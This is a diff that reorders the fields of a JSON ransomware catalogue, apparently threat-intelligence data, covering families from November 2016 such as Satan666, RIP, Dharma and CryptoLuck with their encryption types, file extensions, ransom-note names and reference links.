+ "Malta Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…",
- "value": "Matrix",
- "uuid": "42ee85b9-45f8-47a3-9bab-b695ac271544"
+ "uuid": "42ee85b9-45f8-47a3-9bab-b695ac271544",
+ "value": "Matrix"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-anaLWyg_iJI/WFaxDs8KI3I/AAAAAAAACro/yGXh3AV-ZpAKmD4fpQbBkAyYXXnkqgR3ACLcB/s1600/note666_2.png"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".locked"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-anaLWyg_iJI/WFaxDs8KI3I/AAAAAAAACro/yGXh3AV-ZpAKmD4fpQbBkAyYXXnkqgR3ACLcB/s1600/note666_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Satan666 Ransomware",
- "uuid": "03d92e7b-95ae-4c5b-8b58-daa2fd98f7a1"
+ "uuid": "03d92e7b-95ae-4c5b-8b58-daa2fd98f7a1",
+ "value": "Satan666 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html",
- "https://twitter.com/BleepinComputer/status/804810315456200704"
+ "date": "November 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".R.i.P"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-D-j_9_LZen0/WEPq4G5w5FI/AAAAAAAACXs/GTnckI3CGYQxuDMPXBzpGXDtarPK8yJ5wCLcB/s1600/note_2.PNG",
"Important!.txt"
],
- "encryption": "AES-256",
- "extensions": [
- ".R.i.P"
- ],
- "date": "November 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html",
+ "https://twitter.com/BleepinComputer/status/804810315456200704"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
- "value": "RIP (Phoenix) Ransomware",
- "uuid": "5705df4a-42b0-4579-ad9f-8bfa42bae471"
+ "uuid": "5705df4a-42b0-4579-ad9f-8bfa42bae471",
+ "value": "RIP (Phoenix) Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/634754/locked-in-ransomware-help-support-restore-corupted-fileshtml/",
- "https://twitter.com/struppigel/status/807169774098796544"
+ "date": "November 2016",
+ "encryption": "AES-256",
+ "extensions": [
+ ".novalid"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-BK_31ORE0ZY/WD284cEVoLI/AAAAAAAACWA/bU0n3MBMD8Mbgzv9bD6VLJb51Q_kr5AJgCLcB/s1600/note.jpg",
"RESTORE_CORUPTED_FILES.HTML"
],
- "encryption": "AES-256",
- "extensions": [
- ".novalid"
- ],
- "date": "November 2016"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html",
+ "https://www.bleepingcomputer.com/forums/t/634754/locked-in-ransomware-help-support-restore-corupted-fileshtml/",
+ "https://twitter.com/struppigel/status/807169774098796544"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe",
- "value": "Locked-In Ransomware or NoValid Ransomware",
- "uuid": "777f0b78-e778-435f-b4d5-e40f0b7f54c3"
+ "uuid": "777f0b78-e778-435f-b4d5-e40f0b7f54c3",
+ "value": "Locked-In Ransomware or NoValid Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
+ "date": "November 2016",
+ "encryption": "AES",
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html"
- ],
- "encryption": "AES",
- "date": "November 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Chartwig Ransomware",
- "uuid": "37fff5f8-8e66-43d3-a075-3619b6f2163d"
+ "uuid": "37fff5f8-8e66-43d3-a075-3619b6f2163d",
+ "value": "Chartwig Ransomware"
},
{
+ "description": "It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [www-hash-part-]+[number]+[.crypter]",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-281TI8xvMLo/WDw2Nl72OsI/AAAAAAAACTk/nT_rL0z-Exo93FzoOXnyaFgQ7wPe0r7IgCLcB/s1600/Crypter1.jpg"
- ],
+ "date": "November 2016",
"encryption": "Rename > Ren + Locker",
"extensions": [
".crypter"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-281TI8xvMLo/WDw2Nl72OsI/AAAAAAAACTk/nT_rL0z-Exo93FzoOXnyaFgQ7wPe0r7IgCLcB/s1600/Crypter1.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html"
+ ]
},
- "description": "It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [www-hash-part-]+[number]+[.crypter]",
- "value": "RenLocker Ransomware (FAKE)",
- "uuid": "957850f7-081a-4191-9e5e-cf9ff27584ac"
+ "uuid": "957850f7-081a-4191-9e5e-cf9ff27584ac",
+ "value": "RenLocker Ransomware (FAKE)"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
+ "date": "November 2016",
+ "encryption": "AES",
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-2dC_gQTed4o/WDxRSh_R-MI/AAAAAAAACT4/yWxzCcMqN_8GLjd8dOPf6Mw16mkbfALawCLcB/s1600/lblMain.png"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html",
"https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html",
"https://twitter.com/BleepinComputer/status/801486420368093184"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-2dC_gQTed4o/WDxRSh_R-MI/AAAAAAAACT4/yWxzCcMqN_8GLjd8dOPf6Mw16mkbfALawCLcB/s1600/lblMain.png"
- ],
- "encryption": "AES",
- "date": "November 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Thanksgiving Ransomware",
- "uuid": "459ea908-e39e-4274-8866-362281e24911"
+ "uuid": "459ea908-e39e-4274-8866-362281e24911",
+ "value": "Thanksgiving Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html",
- "https://twitter.com/jiriatvirlab/status/801910919739674624"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/--45C2Cr8sXc/WDiWLTvW-ZI/AAAAAAAACSA/JnJNRr8Kti0YqSnfhPQBF2rsFf-au1g9ACLcB/s1600/Cockblocke.gif"
- ],
+ "date": "November 2016",
"encryption": "RSA",
"extensions": [
".hannah"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/--45C2Cr8sXc/WDiWLTvW-ZI/AAAAAAAACSA/JnJNRr8Kti0YqSnfhPQBF2rsFf-au1g9ACLcB/s1600/Cockblocke.gif"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html",
+ "https://twitter.com/jiriatvirlab/status/801910919739674624"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CockBlocker Ransomware",
- "uuid": "3a40c5ae-b117-45cd-b674-a7750e3f3082"
+ "uuid": "3a40c5ae-b117-45cd-b674-a7750e3f3082",
+ "value": "CockBlocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html",
- "https://twitter.com/siri_urz/status/801815087082274816"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-nXv88GxxOvQ/WE1gqeD3ViI/AAAAAAAACf4/wcVwQ9Pi_JEP2iWNHoBGmeXKJFsfwmwtwCLcB/s1600/Lomix.png"
- ],
+ "date": "November 2016",
"encryption": "AES-256",
"extensions": [
".encrypted"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-nXv88GxxOvQ/WE1gqeD3ViI/AAAAAAAACf4/wcVwQ9Pi_JEP2iWNHoBGmeXKJFsfwmwtwCLcB/s1600/Lomix.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html",
+ "https://twitter.com/siri_urz/status/801815087082274816"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire",
- "value": "Lomix Ransomware",
- "uuid": "e721b7c5-df07-4e26-b375-fc09a4911451"
+ "uuid": "e721b7c5-df07-4e26-b375-fc09a4911451",
+ "value": "Lomix Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html",
- "https://decrypter.emsisoft.com/ozozalocker",
- "https://twitter.com/malwrhunterteam/status/801503401867673603"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-r-vBnl-wLwo/WDg7fHph9BI/AAAAAAAACRc/VuMxWa1nUPIGHCzhCf2AyL_uc7Z9iB6MACLcB/s1600/note_2.PNG",
- "HOW TO DECRYPT YOU FILES.txt"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".locked",
".Locked"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-r-vBnl-wLwo/WDg7fHph9BI/AAAAAAAACRc/VuMxWa1nUPIGHCzhCf2AyL_uc7Z9iB6MACLcB/s1600/note_2.PNG",
+ "HOW TO DECRYPT YOU FILES.txt"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html",
+ "https://decrypter.emsisoft.com/ozozalocker",
+ "https://twitter.com/malwrhunterteam/status/801503401867673603"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png",
- "value": "OzozaLocker Ransomware",
- "uuid": "d20b0d12-1a56-4339-b02b-eb3803dc3e6e"
+ "uuid": "d20b0d12-1a56-4339-b02b-eb3803dc3e6e",
+ "value": "OzozaLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "m0on Ransomware"
+ "date": "November 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".mo0n"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-8-8X7Nd1MYs/WDSZN6NIT1I/AAAAAAAACNg/ltc7ppfZZL0vWn8BV3Mk9BVrdmJbcEnpgCLcB/s1600/222.jpg"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html",
"https://www.bleepingcomputer.com/virus-removal/threat/ransomware/"
],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-8-8X7Nd1MYs/WDSZN6NIT1I/AAAAAAAACNg/ltc7ppfZZL0vWn8BV3Mk9BVrdmJbcEnpgCLcB/s1600/222.jpg"
- ],
- "encryption": "AES",
- "extensions": [
- ".mo0n"
- ],
- "date": "November 2016"
+ "synonyms": [
+ "m0on Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Crypute Ransomware",
- "uuid": "5539c8e7-2058-4757-b9e3-71ff7d41db31"
+ "uuid": "5539c8e7-2058-4757-b9e3-71ff7d41db31",
+ "value": "Crypute Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Fake Maktub Ransomware"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html",
- "https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html"
+ "date": "November 2016",
+ "encryption": "AES-256 + RSA",
+ "extensions": [
+ ".maktub"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-_i9AjhlvjB8/WDVuLKBnmlI/AAAAAAAACOA/xISXMTBLMbEH4PBS35DQ416woPpkuiVvQCLcB/s1600/note-2.PNG",
"https://2.bp.blogspot.com/-4HNc9S8SY4I/WBMkpdKyDsI/AAAAAAAAB0I/udESgro7YB4pF98Dv2KrrecyymFGsvV2QCLcB/s1600/note.JPG"
],
- "encryption": "AES-256 + RSA",
- "extensions": [
- ".maktub"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html",
+ "https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html"
],
- "date": "November 2016"
+ "synonyms": [
+ "Fake Maktub Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "NMoreira Ransomware",
- "uuid": "9490641f-6a51-419c-b3dc-c6fa2bab4ab3"
+ "uuid": "9490641f-6a51-419c-b3dc-c6fa2bab4ab3",
+ "value": "NMoreira Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.",
"meta": {
+ "date": "November 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".vindows"
+ ],
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-61DcGSFljUk/WDM2UpFZ02I/AAAAAAAACMw/smvauQCvG3IPHOtEjPP4ocGKmBhVRBv-wCLcB/s1600/lock-note.png"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html",
"https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph",
"https://rol.im/VindowsUnlocker.zip",
"https://twitter.com/JakubKroustek/status/800729944112427008",
"https://www.bleepingcomputer.com/news/security/vindowslocker-ransomware-mimics-tech-support-scam-not-the-other-way-around/"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-61DcGSFljUk/WDM2UpFZ02I/AAAAAAAACMw/smvauQCvG3IPHOtEjPP4ocGKmBhVRBv-wCLcB/s1600/lock-note.png"
- ],
- "encryption": "AES",
- "extensions": [
- ".vindows"
- ],
- "date": "November 2016"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.",
- "value": "VindowsLocker Ransomware",
- "uuid": "b58e1265-2855-4c8a-ac34-bb1504086084"
+ "uuid": "b58e1265-2855-4c8a-ac34-bb1504086084",
+ "value": "VindowsLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html",
"meta": {
- "refs": [
- "http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/"
+ "date": "November 2016",
+ "encryption": "AES",
+ "extensions": [
+ ".ENCRYPTED"
],
"ransomnotes": [
"https://3.bp.blogspot.com/-RwJ6R-uvYg0/V-qfeRPz7GI/AAAAAAAABi8/7x4MxRP7Jp8edbTJqz4iuEye0q1u5k3pQCLcB/s1600/donald-trump-ransomware.jpg",
"https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/"
],
- "encryption": "AES",
- "extensions": [
- ".ENCRYPTED"
- ],
- "date": "November 2016"
+ "refs": [
+ "http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html",
- "value": "Donald Trump 2 Ransomware",
- "uuid": "96c10791-258f-4b2b-a2cc-b5abddbdb285"
+ "uuid": "96c10791-258f-4b2b-a2cc-b5abddbdb285",
+ "value": "Donald Trump 2 Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\\Temp\\voldemort.horcrux",
"meta": {
- "synonyms": [
- "Voldemort Ransomware"
+ "date": "November 2016",
+ "encryption": "RSA",
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-qJHhbtoL1Y4/V-lOClxieEI/AAAAAAAABis/IbnVAY8hnmEfU8_iU1CgQ3FWeX4YZOkBACLcB/s1600/Nagini.jpg"
],
"refs": [
"http://id-ransomware.blogspot.co.il/2016/09/nagini-voldemort-ransomware.html",
"https://www.bleepingcomputer.com/news/security/the-nagini-ransomware-sics-voldemort-on-your-files/"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-qJHhbtoL1Y4/V-lOClxieEI/AAAAAAAABis/IbnVAY8hnmEfU8_iU1CgQ3FWeX4YZOkBACLcB/s1600/Nagini.jpg"
- ],
- "encryption": "RSA",
- "date": "November 2016"
+ "synonyms": [
+ "Voldemort Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\\Temp\\voldemort.horcrux",
- "value": "Nagini Ransomware",
- "uuid": "46a35af7-9d05-4de4-a955-41ccf3d3b83b"
+ "uuid": "46a35af7-9d05-4de4-a955-41ccf3d3b83b",
+ "value": "Nagini Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html",
- "https://twitter.com/JakubKroustek/status/799388289337671680"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-0N1ZUh4WcxQ/WDCfENY1eyI/AAAAAAAACKE/_RVIxRCwedMrD0Tj9o6-ew8u3pL0Y5w8QCLcB/s1600/lock-note2.jpg"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".l0cked",
".L0cker"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-0N1ZUh4WcxQ/WDCfENY1eyI/AAAAAAAACKE/_RVIxRCwedMrD0Tj9o6-ew8u3pL0Y5w8QCLcB/s1600/lock-note2.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html",
+ "https://twitter.com/JakubKroustek/status/799388289337671680"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "ShellLocker Ransomware",
- "uuid": "a8ea7a67-c019-4c6c-8061-8614c47f153e"
+ "uuid": "a8ea7a67-c019-4c6c-8061-8614c47f153e",
+ "value": "ShellLocker Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "ChipLocker Ransomware"
+ "date": "November 2016",
+ "encryption": "AES + RSA-512",
+ "extensions": [
+ ".CHIP",
+ ".DALE"
+ ],
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-OvB9TMJoimE/WC9QXRPFNwI/AAAAAAAACJU/iYcCC9tKvGIu4jH2bd6xLvmO7KMVVCLdgCLcB/s1600/note_2.PNG",
+ "CHIP_FILES.txt"
],
"refs": [
"https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html",
"http://malware-traffic-analysis.net/2016/11/17/index.html",
"https://www.bleepingcomputer.com/news/security/rig-e-exploit-kit-now-distributing-new-chip-ransomware/"
],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-OvB9TMJoimE/WC9QXRPFNwI/AAAAAAAACJU/iYcCC9tKvGIu4jH2bd6xLvmO7KMVVCLdgCLcB/s1600/note_2.PNG",
- "CHIP_FILES.txt"
- ],
- "encryption": "AES + RSA-512",
- "extensions": [
- ".CHIP",
- ".DALE"
- ],
- "date": "November 2016"
+ "synonyms": [
+ "ChipLocker Ransomware"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Chip Ransomware",
- "uuid": "7487fd37-d4ba-4c85-b6f8-8d4d7d5b74d7"
+ "uuid": "7487fd37-d4ba-4c85-b6f8-8d4d7d5b74d7",
+ "value": "Chip Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-the-dharma-ransomware/"
- ],
- "ransomnotes": [
- "README.txt",
- "README.jpg",
- "Info.hta"
- ],
+ "date": "November 2016",
"encryption": "AES + RSA-512",
"extensions": [
".dharma",
".wallet",
".zzzzz"
],
- "date": "November 2016"
+ "ransomnotes": [
+ "README.txt",
+ "README.jpg",
+ "Info.hta"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-the-dharma-ransomware/"
+ ]
},
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant",
- "value": "Dharma Ransomware",
- "uuid": "2b365b2c-4a9a-4b66-804d-3b2d2814fe7b"
+ "uuid": "2b365b2c-4a9a-4b66-804d-3b2d2814fe7b",
+ "value": "Dharma Ransomware"
},
{
+ "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html",
- "https://twitter.com/malwrhunterteam/status/798268218364358656"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-QaJ-Z27tL7s/WDCvwYY2UVI/AAAAAAAACKg/swpf1eKf1Y8oYIK5U8gbfi1H9AQ3Q3r8QCLcB/s1600/angela-merkel.jpg"
- ],
+ "date": "November 2016",
"encryption": "AES",
"extensions": [
".angelamerkel"
],
- "date": "November 2016"
- },
- "description": "It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Angela Merkel Ransomware",
- "uuid": "a9bb4ae1-b4da-49bb-aeeb-3596cb883860"
- },
- {
- "meta": {
- "synonyms": [
- "YafunnLocker"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-QaJ-Z27tL7s/WDCvwYY2UVI/AAAAAAAACKg/swpf1eKf1Y8oYIK5U8gbfi1H9AQ3Q3r8QCLcB/s1600/angela-merkel.jpg"
],
"refs": [
- "https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html",
- "http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/",
- "https://twitter.com/malwareforme/status/798258032115322880"
+ "https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html",
+ "https://twitter.com/malwrhunterteam/status/798268218364358656"
+ ]
+ },
+ "uuid": "a9bb4ae1-b4da-49bb-aeeb-3596cb883860",
+ "value": "Angela Merkel Ransomware"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "November 2016",
+ "encryption": "AES-256 + RSA-2048",
+ "extensions": [
+ "._luck"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-skwh_-RY50s/WDK2XLhtt3I/AAAAAAAACL0/CaZ0A_fl2Zk-YZYU9g4QCQZkODpicbXpQCLcB/s1600/note_2.PNG",
"https://4.bp.blogspot.com/-tCYSY5fpE5Q/WDLLZssImkI/AAAAAAAACMg/7TmWPW3k4jQuGIYZN_dCxcSGcY_c4po9wCLcB/s1600/note3_2.PNG",
"%AppData%\\@WARNING_FILES_ARE_ENCRYPTED.[victim_id].txt."
],
- "encryption": "AES-256 + RSA-2048",
- "extensions": [
- "._luck"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html",
+ "http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/",
+ "https://twitter.com/malwareforme/status/798258032115322880"
],
- "date": "November 2016"
+ "synonyms": [
+ "YafunnLocker"
+ ]
},
